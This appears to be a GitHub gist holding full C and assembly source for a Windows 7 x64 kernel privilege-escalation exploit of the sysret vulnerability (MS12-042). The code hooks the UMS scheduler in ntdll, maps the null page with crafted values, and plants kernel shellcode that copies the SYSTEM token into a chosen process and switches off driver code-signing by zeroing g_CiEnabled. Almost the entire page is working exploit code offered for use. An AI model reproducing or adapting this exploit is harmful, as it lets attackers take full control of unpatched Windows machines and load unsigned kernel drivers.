Skip to content

Instantly share code, notes, and snippets.

Created August 27, 2012 02:04
Show Gist options
  • Save anonymous/3485020 to your computer and use it in GitHub Desktop.
Save anonymous/3485020 to your computer and use it in GitHub Desktop.
sysret win7 exploit
#include "sysret.h"
#include "log.h"
#include "sources\include\beaengine\BeaEngine.h"
BOOL
GetDriverImageBase(
OUT PULONG_PTR DriverBase,
IN PCHAR DriverName
)
{
LPVOID DriverList[1024];
CHAR szDriver[MAX_PATH];
DWORD dwNeededSize;
DWORD dwDrivers, i;
ERRORINFO err;
if( EnumDeviceDrivers(DriverList, sizeof(DriverList), &dwNeededSize) && dwNeededSize < sizeof(DriverList))
{
dwDrivers = dwNeededSize / sizeof(DriverList[0]);
for ( i = 0; i < dwDrivers; i++ )
{
if( GetDeviceDriverBaseName(DriverList[i], szDriver, sizeof(szDriver)/sizeof(szDriver[0])) )
{
if(strstr(szDriver, DriverName))
{
DEBUG_PRINTF(L_INFO,"Driver Executive Entry (%s) at : %p", szDriver, DriverList[i]);
*DriverBase = (ULONG_PTR)DriverList[i];
return TRUE;
}
}
}
}
else
REPORT_ERROR( "EnumDeviceDrivers()", &err);
return FALSE;
}
ULONG_PTR
KernelGetProcAddress(
IN ULONG_PTR UserKernelBase,
IN ULONG_PTR RealKernelBase,
IN LPCSTR SymName
)
{
ULONG_PTR ProcAddress = (ULONG_PTR)GetProcAddress((HMODULE)UserKernelBase, SymName);
if(ProcAddress == NULL)
return NULL;
ProcAddress -= UserKernelBase;
ProcAddress += RealKernelBase;
return ProcAddress;
}
BOOL
GetKernelBaseInfo(
OUT PULONG_PTR kernelBase,
IN OUT PCHAR kernelImage,
IN UINT Size
)
{
LPVOID DriverList[1024];
CHAR szDriver[MAX_PATH];
DWORD dwNeededSize;
ERRORINFO err;
if( EnumDeviceDrivers(DriverList, sizeof(DriverList), &dwNeededSize) && dwNeededSize < sizeof(DriverList))
{
if( GetDeviceDriverBaseName(DriverList[0], szDriver, sizeof(szDriver)/sizeof(szDriver[0])) )
{
DEBUG_PRINTF(L_INFO,"Kernel Executive Entry (%s) at : %p", szDriver, DriverList[0]);
*kernelBase = (ULONG_PTR)DriverList[0];
strncpy( kernelImage, szDriver, Size);
return TRUE;
}
}
else
REPORT_ERROR( "EnumDeviceDrivers()", &err);
return TRUE;
}
ULONG_PTR
GetCiEnabledAddress(
IN HMODULE hModule
)
{
// this function is actualy pice of shit but works fine :O
// sub rsp, 38h
// cmp XXX, 0h
BYTE SeValidateSig[] = { 0x48, 0x83, 0xEC, 0x38, 0x80 };
DISASM MyDisasm;
CHAR Inst[100];
CHAR temp[100];
LONGLONG CiEnabled = NULL;
BOOL bCiEnable = FALSE;
BOOL bCallR10 = FALSE;
BOOL bEpilog = FALSE;
int len, i = 0;
int Error = 0;
while ( TRUE )
{
if ( !memcmp( hModule, SeValidateSig, 5 ) )
{
SecureZeroMemory(&MyDisasm, sizeof(DISASM));
MyDisasm.Archi = 64;
MyDisasm.EIP = (UIntPtr) (hModule);
while ( ( !Error ) && ( i < 500 ))
{
len = Disasm(&MyDisasm);
if ( len != UNKNOWN_OPCODE )
{
MyDisasm.EIP = MyDisasm.EIP + (UIntPtr)len;
i++;
if ( bCiEnable == FALSE )
{
CHAR *c = strchr(MyDisasm.CompleteInstr, '[');
if ( c != NULL )
{
strcpy(temp,c+1);
c = strchr(temp, 'h');
*c = '\0';
sscanf(( LPCTSTR )temp, "%I64X", &CiEnabled );
bCiEnable = TRUE;
}
}
if ( strstr( MyDisasm.CompleteInstr, "add rsp, 38h") )
{
bEpilog = TRUE;
break;
}
else if ( strstr( MyDisasm.CompleteInstr, "call r10") )
{
bCallR10 = TRUE;
}
}
else
Error = 1;
}
}
if ( bEpilog && bCallR10 && bCiEnable )
break;
bEpilog = bCallR10 = bCiEnable = FALSE;
hModule++;
i = 0;
}
return CiEnabled;
}
#include <Windows.h>
#include <stdio.h>
#pragma once
#define SIZE_OF_NT_SIGNATURE sizeof(IMAGE_NT_SIGNATURE)
#define NTSIGNATURE(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew))
#define OPTHDROFFSET(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew + SIZE_OF_NT_SIGNATURE + sizeof (IMAGE_FILE_HEADER)))
#define PEFHDROFFSET(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew + SIZE_OF_NT_SIGNATURE))
#define SECHDROFFSET(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew + SIZE_OF_NT_SIGNATURE + sizeof(IMAGE_FILE_HEADER) + sizeof(IMAGE_OPTIONAL_HEADER)))
#define OPTHDROFFSET(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew + SIZE_OF_NT_SIGNATURE + sizeof (IMAGE_FILE_HEADER)))
#define NUMOFSECTION(a) ((DWORD)((PIMAGE_FILE_HEADER) PEFHDROFFSET(a))->NumberOfSections);
#define IsBitSet(val, bit) ((val) & (1 << (bit)))
PVOID
PeGetCodeSectionAddress(
IN PVOID BaseAddress
);
DWORD
PeGetCodeSectionSize(
IN PVOID BaseAddress
);
// junk.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "sysret.h"
#include "log.h"
#include "peutil.h"
#include "MinHook\MinHook.h"
#pragma comment(lib, "MinHook\\MinHook.x64.lib")
extern "C"
{
PVOID OrginalUmsSchedulerAddress;
}
PUMS_COMPLETION_LIST UMSCompletionList;
PUMS_CONTEXT pUmsThread;
VOID
WINAPI
UmsSchedulerProc(
UMS_SCHEDULER_REASON Reason,
ULONG_PTR ActivationPayload,
PVOID SchedulerParam
)
{
PUMS_CONTEXT next;
ULONG retlen;
BOOLEAN bTerminated;
BOOL bOk;
switch (Reason)
{
case UmsSchedulerStartup:
break;
case UmsSchedulerThreadYield:
goto switch_to_task;
case UmsSchedulerThreadBlocked:
break;
}
for (;;)
{
PUMS_CONTEXT UmsThreadList;
if (DequeueUmsCompletionListItems(UMSCompletionList, INFINITE, &UmsThreadList))
{
if (UmsThreadList)
{
next = GetNextUmsListItem(UmsThreadList);
bOk = QueryUmsThreadInformation(pUmsThread, UmsThreadIsTerminated, &bTerminated, sizeof(bTerminated), &retlen);
goto switch_to_task;
}
}
}
switch_to_task:
for (;;)
{
ExecuteUmsThread(pUmsThread);
}
}
DWORD
WINAPI
UmsTaskProc(
LPVOID lpThreadParameter
)
{
//DEBUG_PRINTF(L_INFO, "UMS Task has successfully started!");
UmsThreadYield(0);
//DEBUG_PRINTF(L_INFO, "UMS Task has successfully executed!");
return 0;
}
int main(int argc, CHAR** argv)
{
ULONG_PTR ProcessId;
SIZE_T attrsize;
LPPROC_THREAD_ATTRIBUTE_LIST attrlist;
UMS_CREATE_THREAD_ATTRIBUTES umsattribs;
UMS_SCHEDULER_STARTUP_INFO umsinfo;
HANDLE hThread;
ERRORINFO err;
if ( argc < 3 )
{
printf("Usage : sysret.exe <option> <argument>\n");
printf("option :\n");
printf("-pid <pid>\n-exec <executable>\n");
return FALSE;
}
DEBUG_PRINTF(L_INFO,"Windows Kernel Intel x64 Sysret Vulnerability (MS12-042)");
DEBUG_PRINTF(L_INFO,"Exploited by Shahriyar Jalayeri (Shahriyar.j [at] gmail) -- just for fun");
if ( stricmp(argv[1], "-pid") == 0 )
{
DEBUG_PRINTF(L_INFO,"Escalating PID : %p", atoi(argv[2]));
ProcessId = atoi(argv[2]);
}
else if ( strcmp(argv[1], "-exec") == 0 )
{
DEBUG_PRINTF(L_INFO, "Spawning child process...");
if ( ( ProcessId = SpawnProcess(argv[1]) ) == 0 )
return FALSE;
}
DEBUG_PRINTF(L_INFO, "Hooking RtlpUmsPrimaryContextWrap...");
if ( HookUmsScheduler() == FALSE )
return FALSE;
DEBUG_PRINTF(L_INFO, "Allocating null page...");
if ( AlocNullPageAndFixCondtions() == TRUE )
{
DEBUG_PRINTF(L_INFO,"Page allocated at : %p", 0L);
DEBUG_PRINTF(L_INFO,"Control flow changed to shellcode execution path.");
}
else
{
DEBUG_PRINTF(L_ERROR,"Null page allocation failed!");
return FALSE;
}
if ( SetupKernelShellcode(0x4444444444444444, ProcessId) == TRUE )
{
DEBUG_PRINTF(L_INFO,"Shellcode fixed and palaced at allocated memory.");
Sleep(3*1000);
}
else
{
DEBUG_PRINTF(L_ERROR,"Setuping Shellcode failed!");
return FALSE;
}
if ( CreateUmsCompletionList(&UMSCompletionList) == FALSE )
{
REPORT_ERROR("CreateUmsCompletionList", &err);
return FALSE;
}
attrsize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrsize);
attrlist = (LPPROC_THREAD_ATTRIBUTE_LIST) LocalAlloc(LMEM_ZEROINIT, attrsize);
if ( InitializeProcThreadAttributeList(attrlist, 1, 0, &attrsize) != TRUE )
{
REPORT_ERROR("InitializeProcThreadAttributeList", &err);
return FALSE;
}
if ( CreateUmsThreadContext(&pUmsThread) == FALSE )
{
REPORT_ERROR("CreateUmsThreadContext", &err);
return FALSE;
}
umsattribs.UmsVersion = UMS_VERSION;
umsattribs.UmsContext = pUmsThread;
umsattribs.UmsCompletionList = UMSCompletionList;
if ( UpdateProcThreadAttribute(attrlist, 0, PROC_THREAD_ATTRIBUTE_UMS_THREAD, &umsattribs, sizeof(umsattribs), NULL, NULL) != TRUE )
{
REPORT_ERROR("UpdateProcThreadAttribute", &err);
return FALSE;
}
hThread = CreateRemoteThreadEx(GetCurrentProcess(), NULL, 0, &UmsTaskProc, 0, 0, attrlist, NULL);
if ( hThread != INVALID_HANDLE_VALUE )
{
DeleteProcThreadAttributeList(attrlist);
CloseHandle(hThread);
LocalFree(attrlist);
}
else
{
REPORT_ERROR("CreateRemoteThreadEx", &err);
return FALSE;
}
umsinfo.UmsVersion = UMS_VERSION;
umsinfo.CompletionList = UMSCompletionList;
umsinfo.SchedulerProc = UmsSchedulerProc;
umsinfo.SchedulerParam = NULL;
DEBUG_PRINTF(L_INFO, "Entering User-mode Scheduling Mode!");
if ( EnterUmsSchedulingMode(&umsinfo) == TRUE )
{
DeleteUmsThreadContext(pUmsThread);
return TRUE;
}
REPORT_ERROR("EnterUmsSchedulingMode", &err);
return FALSE;
}
BOOL
AlocNullPageAndFixCondtions(
VOID
)
{
NTSTATUS Status;
SIZE_T RegionSize;
PVOID lpBaseAddress;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
ERRORINFO err;
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)(GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtAllocateVirtualMemory"));
if ( NtAllocateVirtualMemory != NULL )
{
RegionSize = 0xF000;
lpBaseAddress= (PVOID)0x1;
Status = NtAllocateVirtualMemory( GetCurrentProcess(),
&lpBaseAddress,
0L,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if ( NT_SUCCESS(Status) )
{
RtlFillMemory(lpBaseAddress, RegionSize, 0x00);
/*
ntoskrnl.exe:FFFFF800028C94DF mov rax, gs:qword_188
ntoskrnl.exe:FFFFF800028C94E8 bt dword ptr [rax+4Ch], 0Bh
ntoskrnl.exe:FFFFF800028C94ED jnb short loc_FFFFF800028C94FD
*/
*(PLONGLONG)((ULONG_PTR)lpBaseAddress+0x4C) = 0x1800;
/*
ntoskrnl.exe:FFFFF800029EBBD3 mov esi, 1
ntoskrnl.exe:FFFFF800029EBBD8 add [rbx+1C4h], si
*/
//*(PLONGLONG)((ULONG_PTR)lpBaseAddress+0x1C4) = 0xFFFFFFFFFFFFFFFF;
/*
ntoskrnl.exe:FFFFF800028C9CA0 mov rcx, gs:qword_188
ntoskrnl.exe:FFFFF800028C9CA9 mov rcx, [rcx+28h]
ntoskrnl.exe:FFFFF800028C9CAD lea rcx, [rcx+50h]
ntoskrnl.exe:FFFFF800028C9CB1 mov [rsp+40h], rcx
ntoskrnl.exe:FFFFF800028C9CB6 fxsave dword ptr [rcx]
*/
*(PLONGLONG)((ULONG_PTR)lpBaseAddress+0x28) = 0x0100;
/*
ntoskrnl.exe:FFFFF800029E86A8 mov rbx, gs:qword_188
ntoskrnl.exe:FFFFF800029E86B1 mov r12, rcx
ntoskrnl.exe:FFFFF800029E86B4 mov [rcx+60h], rbx
ntoskrnl.exe:FFFFF800029E86B8 mov rax, [rbx+1B8h]
ntoskrnl.exe:FFFFF800029E86BF mov rbp, [rax+80h]
ntoskrnl.exe:FFFFF800029E86C6 mov rcx, rbp
ntoskrnl.exe:FFFFF800029E86C9 call near ptr PspFindThreadForTeb
*/
*(PLONGLONG)((ULONG_PTR)lpBaseAddress+0x80) = 0x01;
*(PLONGLONG)((ULONG_PTR)lpBaseAddress+0x70) = 0x1700;
return TRUE;
}
REPORT_ERROR("GetProcAddress", &err);
return FALSE;
}
REPORT_ERROR("NtAllocateVirtualMemory", &err);
return FALSE;
}
BOOL
SetupKernelShellcode(
IN ULONG_PTR UsermodeReturnAddress,
ULONG_PTR ProcessId
)
{
/*
http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation
;grant SYSTEM account privileges to calling process
;slightly modified to handle custom pid, gs changes and sysret
[BITS 64]
start:
swapgs ; swap gs to kernelmode
mov rcx, 0x4141414141414141 ; process id
lea rdx, [rsp+8h] ; EPROCESS *
mov rax, 0x4242424242424242 ; PsLookupProcessByProcessId address
call rax ; call PsLookupProcessByProcessId
mov r8, [rsp+8h] ; PID EPROCESS address
mov r9, [r8+188h] ;ActiveProcessLinks list head
mov rcx, [r9] ;follow link to first process in list
find_system_proc:
mov rdx, [rcx-8] ;offset from ActiveProcessLinks to UniqueProcessId
cmp rdx, 4 ;process with ID 4 is System process
jz found_it
mov rcx, [rcx] ;follow _LIST_ENTRY Flink pointer
cmp rcx, r9 ;see if back at list head
jnz find_system_proc
db 0cch ;(int 3) process #4 not found, should never happen
found_it:
mov rax, [rcx+80h] ;offset from ActiveProcessLinks to Token
and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure
mov [r8+208h], rax ;replace current process token with system token
swapgs ; swap gs to usermode
mov rcx, 0x4343434343434343 ; set return address to rcx
sysret ; return to usermode
*/
BYTE KernelShellcode[] = {
0x0F, 0x01, 0xF8, 0x48, 0xB9, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x48, 0x8D, 0x54, 0x24, 0x08, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42,
0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x4C, 0x8B, 0x44, 0x24, 0x08, 0x4D,
0x8B, 0x88, 0x88, 0x01, 0x00, 0x00, 0x49, 0x8B, 0x09, 0x48, 0x8B, 0x51,
0xF8, 0x48, 0x83, 0xFA, 0x04, 0x74, 0x09, 0x48, 0x8B, 0x09, 0x4C, 0x39,
0xC9, 0x75, 0xEE, 0xCC, 0x48, 0x8B, 0x81, 0x80, 0x00, 0x00, 0x00, 0x24,
0xF0, 0x49, 0x89, 0x80, 0x08, 0x02, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0x48,
0xB9, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x0F, 0x07
};
/*
mov rax, 04141414141414141h ; get g_CiEnabled address
mov qword ptr [rax], 0 ; disable it
xor rax, rax
*/
BYTE DisableCodeSigning[] = {
0x48, 0xB8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xC0
};
CHAR szKernelImageName[MAX_PATH];
BYTE FixAddress[8];
HMODULE hNtOsHandle;
ULONG_PTR PsLookupProcessByProcessId;
ULONG_PTR KernelBaseAddress;
ULONG_PTR g_CiEnabled;
ULONG_PTR KernelShellcodeAddress;
ERRORINFO err;
// get kernel base address, we need it calculate
// functions and variables address inside the loaded kernel.
if ( !GetKernelBaseInfo( &KernelBaseAddress, szKernelImageName, MAX_PATH) )
{
DEBUG_PRINTF(L_ERROR,"Faild to get kernel base address.");
return FALSE;
}
// load kernel from user-mode
hNtOsHandle = LoadLibrary( szKernelImageName );
if ( hNtOsHandle == NULL )
{
REPORT_ERROR("LoadLibrary()", &err);
return FALSE;
}
if ( ( PsLookupProcessByProcessId = KernelGetProcAddress( (ULONG_PTR)hNtOsHandle, KernelBaseAddress, "PsLookupProcessByProcessId" ) ) == NULL )
return FALSE;
DEBUG_PRINTF(L_INFO, "PsLookupProcessByProcessId at : %p", PsLookupProcessByProcessId );
// g_CiEnabled is the key viarble used for Disable/Enable
// Windows x64 Code Signing Policy. it is used inside SeValidateImageHeader,
// if we set this vaiable to 0, kernel doesnt check driver is signed or not.
if ( ( g_CiEnabled = GetCiEnabledAddress(hNtOsHandle) ) == NULL )
{
DEBUG_PRINTF(L_INFO, "Faild to get g_CiEnabled address.");
return FALSE;
}
// make its address absolute
g_CiEnabled = g_CiEnabled - (ULONG_PTR)hNtOsHandle + (ULONG_PTR)KernelBaseAddress;
DEBUG_PRINTF(L_INFO, "g_CiEnabled Pointer at : %p", g_CiEnabled );
// fix the shellcode with g_CiEnabled address
for ( DWORD i = 0; i <=7; i++ ) FixAddress[i] = (byte)( ( g_CiEnabled >> ( i * 8 ) ) & 0x00000000000000FF );
RtlCopyMemory( DisableCodeSigning+2, FixAddress, sizeof(FixAddress) );
// fix the shellcode with PID
for ( DWORD i = 0; i <=7; i++ ) FixAddress[i] = (byte)( ( ProcessId >> ( i * 8 ) ) & 0x00000000000000FF );
RtlCopyMemory( KernelShellcode+5, FixAddress, sizeof(FixAddress) );
// fix the shellcode with PsLookupProcessByProcessId address
for ( DWORD i = 0; i <=7; i++ ) FixAddress[i] = (byte)( ( PsLookupProcessByProcessId >> ( i * 8 ) ) & 0x00000000000000FF );
RtlCopyMemory( KernelShellcode+20, FixAddress, sizeof(FixAddress) );
// fix the shellcode with UsermodeReturnAddress address
for ( DWORD i = 0; i <=7; i++ ) FixAddress[i] = (byte)( ( UsermodeReturnAddress >> ( i * 8 ) ) & 0x00000000000000FF );
RtlCopyMemory( KernelShellcode+85, FixAddress, sizeof(FixAddress) );
KernelShellcodeAddress = (ULONG_PTR)VirtualAlloc( NULL,
1024,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if ( KernelShellcodeAddress == NULL )
{
REPORT_ERROR("VirtualAlloc()", &err);
return FALSE;
}
DEBUG_PRINTF(L_INFO,"Shellcode memory allocated at : %p", KernelShellcodeAddress);
// copy kernel shellcode
RtlCopyMemory( (LPVOID)KernelShellcodeAddress, DisableCodeSigning, sizeof(DisableCodeSigning));
RtlCopyMemory( (LPVOID)(KernelShellcodeAddress+sizeof(DisableCodeSigning)), KernelShellcode, sizeof(KernelShellcode));
*(PLONGLONG)((ULONG_PTR)0L+0x10) = KernelShellcodeAddress;
return TRUE;
}
ULONG_PTR
SpawnProcess(
IN PCHAR szProcess
)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ERRORINFO err;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
if( !CreateProcess( NULL,
szProcess,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi )
)
{
REPORT_ERROR("CreateProcess()", &err);
return 0;
}
// Close process and thread handles.
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return pi.dwProcessId;
}
ULONG_PTR
GetUmsSchedulerAddress(
VOID
)
{
BYTE UmsSchedulerSig[] = { 0x49, 0x89, 0x8a };
DWORD i;
ULONG_PTR NtdllCodeSection = (ULONG_PTR)PeGetCodeSectionAddress(GetModuleHandle("NTDLL"));
ULONG_PTR NtdllCodeSectionSize = (ULONG_PTR)PeGetCodeSectionSize(GetModuleHandle("NTDLL"));
if ( NtdllCodeSection != NULL && NtdllCodeSectionSize != NULL )
{
for( i = 0; i < NtdllCodeSectionSize; i++ )
if ( !memcmp( (LPVOID)(NtdllCodeSection+i), UmsSchedulerSig, sizeof(UmsSchedulerSig)) )
return (NtdllCodeSection+i);
}
return NULL;
}
BOOL
HookUmsScheduler(
VOID
)
{
LPVOID UmsSchedulerAddress = (LPVOID)GetUmsSchedulerAddress();
if ( UmsSchedulerAddress == NULL )
return FALSE;
DEBUG_PRINTF(L_INFO, "RtlpUmsPrimaryContextWrap hook point at : %p", UmsSchedulerAddress );
if ( MH_Initialize() != MH_OK )
{
return FALSE;
}
if ( MH_CreateHook(UmsSchedulerAddress, SetNonCanonicalAddress , &OrginalUmsSchedulerAddress) != MH_OK)
{
return FALSE;
}
if (MH_EnableHook(UmsSchedulerAddress) != MH_OK)
{
return FALSE;
}
return TRUE;
}
EXTERN OrginalUmsSchedulerAddress :QWORD
.CODE
SetNonCanonicalAddress PROC FRAME
mov r11, 8000000000000000h
jmp [OrginalUmsSchedulerAddress]
.ENDPROLOG
ret
SetNonCanonicalAddress ENDP
END
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment